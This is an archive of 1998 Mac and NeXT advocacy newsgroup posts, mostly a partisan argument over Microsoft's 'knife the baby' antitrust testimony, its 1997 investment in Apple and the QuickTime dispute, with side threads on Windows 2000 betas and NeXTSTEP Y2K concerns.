It occurred to me that if Apple was to ever reverse it's position and
decide to use Quickdraw GX instead of PostScript in MacOS X, that to
avoid negative publicity over use of a seen-to-be-failed product, they
would change its name slightly -- call it something like "extended
Quickdraw".
Lawson, do you have any inside info that might lead you to believe that
eQD might owe a little more to QDGX than Apple is letting on? Just
wondering.
Michael Monner
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 98 12:57:51 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2708BD1-159ED@206.165.43.38>
References: <rbarris-ya023280001211980050240001@206.82.216.1>
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nntp://news.primenet.com/comp.sys.next.advocacy
Rob Barris <rbarris@quicksilver.com> said:
>You're reaching here!
>
> Apple chose not to license MacOS (its own product) to the cloners
beyond
>7.6.
>
Of course, Apple had to rename 7.7 to 8.0 in order to do it, which was
blatent enough that had any clone-maker chosen the lawsuit route, they
might have gotten compensation for breach of contract.
Obviously, none of them felt is was worth the hassle.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <rbarris-ya023280001211981208460001@206.82.216.1>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <364B0C41.E0B76B9D@spamtoNull.com>
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Date: Thu, 12 Nov 1998 12:08:46 -0800
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In article <364B0C41.E0B76B9D@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Rob Barris wrote:
>
> >
> > According to sworn testimony, MS made an effort to prevent *other
> > companies* from selling *their own software* into the market. In the case
> > of Intel it would appear that they succeeded (see "NSP").
>
> If they succeeded it was only because Intel lacked the courage to go
> ahead anyway with the technology. The guy blames Microsoft because *his
> superiors at Intel* canceled his own pet, personal projects.
Ha ha ha!
OK seriously, Andy Grove himself says that MS threatened them with yanking
Windows support for MMX and Merced if they didn't "knife the baby". So
Grove simply lacked the courage to stand up to MS' bullying!
> I wish Intel had gone ahead with the project. But I would dearly love to
> know all of the particulars as to why they did not. I wonder just how
> "effective" it would have been. MMX was basically an over-hyped joke on
> the part of Intel. I can't help but wonder if Intel's approach to NSP
> might not have been the same thing.
When MS says they want to preserve consumer choice, come back and read this
again.
Rob
From: michael_peck@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 20:24:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72fg60$gec$1@nnrp1.dejanews.com>
References: <36462729.BDFBC1C0@spamtoNull.com> <B26D3D7A-1BDC7@24.94.7.35> <364A13C0.4A3634EB@spamtoNull.com> <364A24DB.816DC2CC@exu.ericsson.se> <364AFD98.43CE84F8@spamtoNull.com>
In article <364AFD98.43CE84F8@spamtoNull.com>,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> It's fun to test ideas and concepts. I suppose I enjoy making argument
> from time to time, if to do nothing more than to persuade myself that my
> own ideas were good ones to begin with.
Generally speaking, therefore, you seek truth. To test, rather than to
reinforce, is virtuous. The devil's advocate, more so than the zealot, can
truly be said to possess understanding.
Unfortunately, most arguments do not stand up to the test of opposition. This
is why campaign speeches generally are not followed by a question-and-answer
session. The opinions and arguments of most men are good for little more than
slogans and rallying-cries.
> It is also gives me way to
> improve and hone those ideas--to sort of bring some of them out of the
> "half-baked" stage into more of a fluid maturity. The thing that often
> bothers me, though, is that given the pace of development and
> implementation, will any of the ideas any of us have today mean a hill
> of beans in five years (maybe less)? I've already had to "forget" one
> entire technology (and learn a couple of others) so far--I'm not sure
> how much elasticity is left in the "old bean" if you know what I mean...
Fear is the mind-killer. Put it away and your "old bean" will never stop
learning. By contrast it is the homey, fearful ones who have so much to lose
who end up impoverished and shivering in the cold wind of ignorance. They put
too much value in what they know, and they throw away what they might learn.
Like overburden'd snails, they carry what they love, but never carry it very
far...
In plain language, the funny ones are those who post to their own advocacy
newsgroup, ten years late; like undead Romans spreading the Gospel in Latin
(whoo, I hope I didn't catch any Catholics in that spray). It reminds me of
the advertising banners HP used to put up in HP buildings. Interesting
strategy...it's sort of like those movies where all the terrorists get
together and make vehement speeches to each other in Arabic and they finish
with a big gun-shooting into the air accompanied by whoops and shouting.
Heh, I like that picture :-)
> Thanks for the "warm" welcome (though I'm still working through the
> connotations on that one)...:)
Warm is warm. But not lukewarm. Welcome :-)
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Steve <nospam@nospam!.kom>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 10 Nov 1998 13:30:15 -0500
Organization: nospam
Message-ID: <72a0lk$gdt$2@charm.magnus.acs.ohio-state.edu>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu> <isthatspam-0911981901480001@71.chestnut.fcc.net> <36479658.9574949@nntp.service.ohio-state.edu> <364821FA.FB12A1D2@sono.net>
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Gary wrote:
> Steve wrote:
>
> >
> > There are good reasons to purchase such a system.
> >
> <mindless babble about Win2000 snipped>
>
> I can't believe this Win2000 bullshit has actually become a thread!!
> STOP THIS NOW!!!
Thankfully, there's still a reasonable amount of freedom on usenet, so I
can post what I wish (within reason) and other people can choose whether
or not they want to read it.
-Steve
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 14:47:40 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > But apparently, MS did the following to Apple to put teeth into the
> > "threat":
> >
> > (1) gave Apple $150 million
> >
> > (2) gave Apple a working version of IE
> >
> > (3) announced and recommitted to supporting Apple with its Office
> > products.
>
> This all happened well *after* the "Knife the Baby" event. Once Microsoft
> got nailed for the QuickTime source theft, they had to clean up their act
> pretty fast.
Oh, brother...the "knife the baby event" as you put it is no more than a
few scraps of email interpreted after the fact by people who've hated
Microsoft for so long they can't remember. Microsoft, for your
information, was never, ever *nailed for Quicklime source theft.* That
is entirely your own personal interpretation of events--pretty muddled
and wrong.
>
> The timeline is like this:
>
> "Knife the Baby"
>
> (several months)
Baby was never knifed
>
> Microsoft gets caught stealing QuickTime.
MS was never *caught* doing any such thing.
>
> Apple files suit
>
> Apple finds "smoking gun"
>
> Microsoft settles, gives $150 million, recommits to Apple
Yes, I suppose that's why Jobs went to Gates hat in hand and literally
*begged* Gates for a big investment. Whether you know it or not, that's
actually what happened. Amelio had been pushing for a much larger
settlement, and as soon as Jobs betrayed Amelio and got him removed one
of the first things Jobs did was to go to Gates and beg. If you will
recall, he did all of this in a hurry so as to make a big splash at Mac
World Expo--which he did, with Gates as his sidekick on screen connected
live by satellite. Public statements immediately after the expo relate
this story, according to Jobs and Gates.
Man, you are some sort of revisionist...:)
>
> > Last, it should be noted that the above three items were things Steve
> > Jobs asked for, not things MS "forced" on Apple.
>
> It's because Jobs is very practical in some things. At the time, a dose
> of "Microsoft supports Apple" was probably more important than a future
> payment of a lot more money.
>
Like Gates had no control over doing anything he did. It's so funny how
you fantasize Jobs somehow blackmailing Gates into doing something he
didn't want to do but "had to" while you paint Jobs as some sort of
mastermind outwitting the rest of the world! In fact, it was Jobs doing
the begging at the time, certainly not Gates. Some of you folks wouldn't
understand a favor done for Apple if it rode up and bit you on the
arse...:)
From: michael_peck@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 20:49:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72fhl0$hm4$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com> <364A1064.72AFE339@spamtonull.com> <72d7ep$2mk@newsb.netnews.att.com> <364A66ED.19E94AF6@exu.ericsson.se> <72dt95$346@news1.panix.com>
In article <72dt95$346@news1.panix.com>,
sal@panix.com wrote:
[cut]
> It would be like those high school geeks going up to the jocks and demanding
> that if they don't refrain from dating "pretty girls"; calculus and star trek
> trivia will be added to the curriculum.
Heh. Let me guess, class clown, Sal?
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 10 Nov 1998 17:35:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <729th9$p93$1@nnrp1.dejanews.com>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu> <isthatspam-0911981901480001@71.chestnut.fcc.net> <36479658.9574949@nntp.service.ohio-state.edu>
In article <36479658.9574949@nntp.service.ohio-state.edu>,
nospam@nospam!.kom (Steve) wrote:
[ ... ]
> The vast majority of such systems will likely be sold to businesses
> considering upgrading to Win2000 and who want to get experience with
> the OS before implementing it business-wide. Why would they pay for
> it, rather than just putting the beta on a existing system?...
> support!
And so Microsoft's terminology game continues. The very definition of a beta
is "preproduction software under testing". Beta software is normally time-
limited, in order to force the beta to expire and have the user get an updated
version (which, presumably, will have been made available). Beta testers
normally receive beta software gratis in return for providing bug reports and
feedback to the developers.
The whole notion of selling an OS to end users for mass distribution,
presumably without an expiration system, and having companies support it means
that OS is at the production stage, regardless of the label.
The second thing that annoys me is the disappearing notion of version
numbers. A major version number refers to a change that involves significant
API changes and may require older code to be updated and/or re-written.
Major version number updates thus may imply limited backwards-compatibility.
Minor version number updates refer to the addition of features and/or
singificant bug fixes or changes, with backward-compatibility maintained in
general. Third-digit updates refer to bugfixes or patches alone.
Assuming the update for NT4SP3 was worth a point-release due to IE4 and/or
DirectX updates, then NT should be at v4.11 with SP4....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 14:53:57 -0500
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Chad Irby wrote:
>
>
> And once again, if the mugger had stolen something from me worth $1.2
> billion, and was gong to lose the resulting trial, he's not that much of a
> philanthropist.
>
WHAT are you talking about? This whole idea of yours that Microsoft
*stole* Quicktime from Apple, got *caught* stealing it, and that it is
*worth* 1.2 billion (when that amount was never paid by anybody) is
pure, unadulterated
fantasy.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 15:08:14 -0500
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Chad Irby wrote:
>
>
> Only when someone like you presents the events above as near-charity by
> Microsoft, instead of the out-of-court settlement it was for stealing
> QuickTime source code to try and make VFW useful.
Stealing Quicktime was *never* a part of the settlement. There was no
mention of it anywhere in the settlement by Apple, nor was it admitted
to by Microsoft. That interpretation is entirely your own invention.
>
> > You deliberately ignore the facts in evidence (actually you pretend they
> > never happened or else that they meant nothing)
>
> Much more in your case, since you can't even remember that these events
> were in a different order than you think.
You confuse your own self-imposed "order" of events with the substance
of events, and you pretend that Microsoft "had" to do the things it did
when it's very clear MS did those things when Steve Jobs came begging
hat in hand for MS to do those things (and not one minute before.)
>
> Those "spurious" pieces of email were from MICROSOFT EXECUTIVES.
>
> The fact that QuickTime is still here is because Apple realized that if
> they caved on the QT/Win issue, they'd be in even *worse* shape.
Proof positive, then, that the events at Cupertino aren't ordered at
Redmond.
>
> I suppose that if someone from the Mob threatened your family, and didn't
> kill them when you didn't cave, it would be "no harm, no foul," right?
Now, MS is the "mob"....:) This would be funny if it weren't so
pathetic....
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 15:01:00 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > Here's what I don't see: I don't see how the following involve
> > "threatening Apple with its corporate life":
> >
> > (1) Giving Apple $150 million, which Apple asked for
> >
> > (2) Giving Apple a Browser Apple asked for (which cost millions)
> >
> > (3) Giving Apple the public support and renewed Office products Apple
> > asked for (which cost millions)
>
> And, again, you've got your time line mixed up. you know this by now.
> Why do you keep reposting this bogus one?
>
Because you seem to think "timeline" (yours, of course) "means"
something. You seem to think Microsoft "had" to do the things listed
above. Microsoft certainly did not have to do any of it. You seem to
think that because Apple had a 1.2 billion dollar suit that MS was
required to *pay* that amount to Apple. That has never been the case.
The things listed above are facts in evidence. Your "kill the baby
event" and your hypotheses on lawsuits that were dropped and "thefts"
never proved nor admitted to are what is "bogus" here.
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 21:26:51 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1211981626130001@pm61-29.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <F25z88.HII@t-fcn.net> <727j1c$mqm@newsb.netnews.att.com> <364A0FCF.C74FA148@spamtonull.com> <72d6nt$295@newsb.netnews.att.com> <364AFF31.2CE9CD59@spamtoNull.com> <cirby-1211981154240001@pm61-46.magicnet.net> <364B37BD.B012F351@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Chad Irby wrote:
> >
> > Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >
> > > OK, a mugger comes up to me and says "Give me five dollars" and I say
> > > "No way," and the mugger hands me $150 million dollars and a Browser
> > > (which cost him a few million more to make just for my machine), lets me
> > > keep the $5, and goes away.
> >
> > You're forgetting that the "$5" is really $1.2 BILLION dollars.
>
> ??????? Apple has *NEVER* made 1.2 billion on Quicktime. Geesh!
Nope. But that was the value put on the patent in the suit. The same
suit that Microsoft settled rather quickly. QuickTime has been a major
advantage of Apple's for years now, and Microsoft's aborted attempt to
steal it (and convince Apple to stop developing ot for Windows) shows that
quite nicely.
> > And that the mugger has to give you another $30 to $50 MILLION dollars per
> > quarter in licensing fees for the stuff he stole from you the last dozen
> > or so times he mugged you.
>
> Got any proof of this? I didn't think so...
Go back and read some of the news magazines over the last few weeks. It's
been a public "secret" for about a year now. In the original settlement,
Microsoft agreed to some sweeping cross-licensing agreements that would
really only help Apple.
> > And now the DOJ is investigating the mugger for ripping off pretty much
> > everyone else who lives in the same town...
>
> Funny, how Apple settled with the "mugger" when it didn't have to, and
> kissed that "open & shut" 1.2 billion good-bye!
...except for the quarterly payments, and the obvious huge PR payoff in
getting Microsoft to publicly put money and development into Apple.
> Your comments only make Apple seem dumber and dumber. It's all right,
> though, because I don't believe even Apple is as stupid as you make them
> out to be.
On the other hand, Microsoft is proving almost on a daily basis that not
only are they a lot dumber than even *I* thought, but that you still
haven't figured out what they've been doing for the last couple of years.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 21:28:38 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1211981628000001@pm61-29.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <cirby-1111982135020001@pm61-36.magicnet.net> <364B0332.5DDC297F@spamtoNull.com> <cirby-1211981150560001@pm61-46.magicnet.net> <364B322A.85F81455@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> I recall absolutely nothing out of these settlements which even *hinted*
> that MS had ever stolen anything. This is pure fantasy, I'm afraid.
Are you completely stupid, or do you just have weekly amnesia?
Do some research. It's *extremely* public knowledge, and just a step
below noticing that Microsoft's "expert" on antitrust is employed by
Microsoft's law firm.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 21:29:30 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1211981628530001@pm61-29.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com> <36475d98.0@news.depaul.edu> <rbarris-ya023280000911981416190001@206.82.216.1> <364A1212.A24ABF22@spamtoNull.com> <199811112325423438611@pm2-1-15.aug.com> <364B0618.DFBDEDA6@spamtoNull.com> <cirby-1211981204270001@pm61-46.magicnet.net> <364B3CD5.C9320540@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> WHAT are you talking about? This whole idea of yours that Microsoft
> *stole* Quicktime from Apple, got *caught* stealing it, and that it is
> *worth* 1.2 billion (when that amount was never paid by anybody) is
> pure, unadulterated
> fantasy.
Suuure. Been in a coma for the last few weeks?
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 21:34:16 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1211981633380001@pm61-29.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <364B0C41.E0B76B9D@spamtoNull.com> <rbarris-ya023280001211981208460001@206.82.216.1>
rbarris@quicksilver.com (Rob Barris) wrote:
> Jonathan Harker wrote:
> >
> > If they succeeded it was only because Intel lacked the courage to go
> > ahead anyway with the technology. The guy blames Microsoft because *his
> > superiors at Intel* canceled his own pet, personal projects.
>
> Ha ha ha!
>
> OK seriously, Andy Grove himself says that MS threatened them with yanking
> Windows support for MMX and Merced if they didn't "knife the baby". So
> Grove simply lacked the courage to stand up to MS' bullying!
you have to remember that in Harker's world, Microsoft never did anything
bad, and if they did, there's no proof, especially if it's included in
emails from one MS executive to another.
In this world, Harker thinks that poor old Steve Jobs will go "hat in
hand" to Bill Gates to get $150 million, and that Andy Grove is a pushover
who will wilt when confronted with a threat.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 21:31:20 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1211981630420001@pm61-29.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <cirby-1211981241390001@pm61-46.magicnet.net> <364B402E.E37AB031@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> You confuse your own self-imposed "order" of events with the substance
> of events, and you pretend that Microsoft "had" to do the things it did
> when it's very clear MS did those things when Steve Jobs came begging
> hat in hand for MS to do those things (and not one minute before.)
There have been several press reports in favor of the version I've been
repeating here.
There has been *nothing* to back up your little hopeful dream.
Go out, do some reading, get back to us when you learn something.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2Bw7x.Do7@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1>
Date: Thu, 12 Nov 1998 21:40:45 GMT
Sender: adt@netcom3.netcom.com
Rob Barris (rbarris@quicksilver.com) wrote:
: adt@netcom.com (Anthony D. Tribelli) wrote:
: > Rick (nojunkhattonr@aug.com) wrote:
: > : Yes, you've missed everything. MS threatend Apple with its corproate
: > : life. Apple decided to not knuckle under to MS. The threat is illegal.
: > : What dont you see?
: >
: > So one company denying software that a different company needs to survive
: > would be illegal? I hope the lawyers for the former Mac clone vendors
: > aren't reading. :-)
:
: You're reaching here!
Of course, note the smiley. I couldn't resist the double standard (most
likely unintentional) in the original post above.
: Apple chose not to license MacOS (its own product) to the cloners
: beyond 7.6.
The cloners did not behave in a manner Apple approved of, they had an
agenda other than Apple's. Sorry, I see some similarity in the way Apple
used MacOS to the way Microsoft uses MS Office for MacOS.
: According to sworn testimony, MS made an effort to prevent *other
: companies* from selling *their own software* into the market. In the case
: of Intel it would appear that they succeeded (see "NSP").
Yep, I read that. I'm not defending Microsoft, just pointing out that
Apple is no shining example of corporate morality. Apple feels threatened
by clones, they attack. Microsoft feels threatened by Netscape and Java,
they attack. Both companies will shed blood.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <rbarris-ya023280001211981405070001@206.82.216.1>
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Date: Thu, 12 Nov 1998 14:05:07 -0800
NNTP-Posting-Date: Thu, 12 Nov 1998 14:04:02 PDT
In article <adtF2Bw7x.Do7@netcom.com>, adt@netcom.com (Anthony D. Tribelli)
wrote:
> Rob Barris (rbarris@quicksilver.com) wrote:
> : According to sworn testimony, MS made an effort to prevent *other
> : companies* from selling *their own software* into the market. In the case
> : of Intel it would appear that they succeeded (see "NSP").
>
> Yep, I read that. I'm not defending Microsoft, just pointing out that
> Apple is no shining example of corporate morality. Apple feels threatened
> by clones, they attack. Microsoft feels threatened by Netscape and Java,
> they attack. Both companies will shed blood.
>
But was Apple's cloning move illegal?
Rob
From: rfuller@genre.com
Newsgroups: comp.sys.next.advocacy
Subject: Y2K Trouble
Date: Thu, 12 Nov 1998 22:11:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72fmep$lv6$1@nnrp1.dejanews.com>
Howdy Folks,
I am running NS 3.3 on a NeXT Dimension Turbo Cube. I read the Y2K .pdf doc at
the Apple Enterprise site which leads me to believe I'm f**ked come 1/1/2000.
Does anyone have any info on this? Are all my wonderful Apps gonna die? Is the
sh*t gonna hit the fan? Am I gonna have to migrate to OS 4.X? Is that even
going to help me with the hardware which isn't even mentioned in the doc?
HELP!
Thanks,
Robert
rfuller@genre.com
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Date: Thu, 12 Nov 1998 19:02:36 -0500
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <tbrown-1211981902390001@mv196.axom.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com>
Organization: Newsfeeds.com http://www.newsfeeds.com 60,000+ UNCENSORED Newsgroups.
In article <364B07B9.F4870E47@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>Here's what I don't see: I don't see how the following involve
>"threatening Apple with its corporate life":
>(1) Giving Apple $150 million, which Apple asked for
And an undisclosed settlement. For infringing on Apple's copyright (other
say patent). I assume it's over the Quicktime code used in VFW, but I
don't think anyone outside MS and Apple know for sure. We do know that
there was an 'undisclosed settlement', maybe it was only $1.
I don't think that it's a big leap to say that MS did this for no reason.
They might not have been guilty, and just wanted to avoid a case. Jobs
indicated that he settled for much less than he could have just to get the
case out of the way, so MS and Apple could move on.
>(2) Giving Apple a Browser Apple asked for (which cost millions)
MS is contractually obligated to provide Mac IE due to a deal with AOL.
>(3) Giving Apple the public support and renewed Office products Apple
>asked for (which cost millions)
And which makes MS millions. It also keeps someone from being too
interested in making a good Office suite for the Mac, which might become
some real competition later. It wouldn't be the first product to leap from
the Mac market into the Windows market. Why take the chance, esp when it
makes MS money?
The development cost might not even be that big next to the 'undisclosed
settlement'.
--
tbrown@netset.com
---== http://www.newsfeeds.com - Largest Usenet Server In The World! ==---
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From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 23:48:11 GMT
Organization: Net Squared, Inc.
Message-ID: <01be0e95$8dc4e640$06387880@chewy>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1>
> But was Apple's cloning move illegal?
I believe that is the fundamental point.
If you have monopoly share of a critical infrastructure component
(e.g., operating systems), you have to play by different rules. If you
had 99% of screen savers, the government doesn't care. Or if you have
4-6% market share of operating system, the government doesn't care.
The government doesn't care what one company does to another. The
government *does* care if there is a pattern of actions which will
ultimately hurt consumers and/or the economy (e.g., higher prices, no
innovation, etc.).
Todd
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 10 Nov 1998 11:02:32 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <7296g8$r0v$1@sun27.hrz.tu-darmstadt.de>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu>
pxpst2@unixs.cis.pitt.edu (Peter) wrote:
>C'mon John give arun a break. It is funny to know that their is some dim
>wits that whould buy a computer with a beta OS and then get charged for
>it.
Don't throw stones. My G3 laptop doesn't even *run* the beta of
our OS.
Sigh.
Chris
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 13 Nov 1998 03:12:47 GMT
Organization: Net Squared, Inc.
Message-ID: <01be0eb2$2064ff50$06387880@chewy>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com>
Ted Brown <tbrown@netset.com> wrote
> >(2) Giving Apple a Browser Apple asked for (which cost millions)
>
> MS is contractually obligated to provide Mac IE due to a deal with
AOL.
Microsoft wants to control access to the Internet, and that is done
largely by controlling the browser most people use to access the
Internet. To control that access, Microsft has ported IE to all the
Windows platforms, the Mac, Solaris, and HP-UX. Contracts and money
have little to do with it. Control of the Internet does.
The recent issues of QuickTime and RealPlayer point to a potentially
dangerous trend. If Microsoft controls the browser, it can make it
difficult for vendors of other technologies to challenge Microsoft in
other areas.
Remember the claims that Microsoft had a feature in a Windows beta that
gave errors when running on DR DOS, DOS's main competition? Likewise,
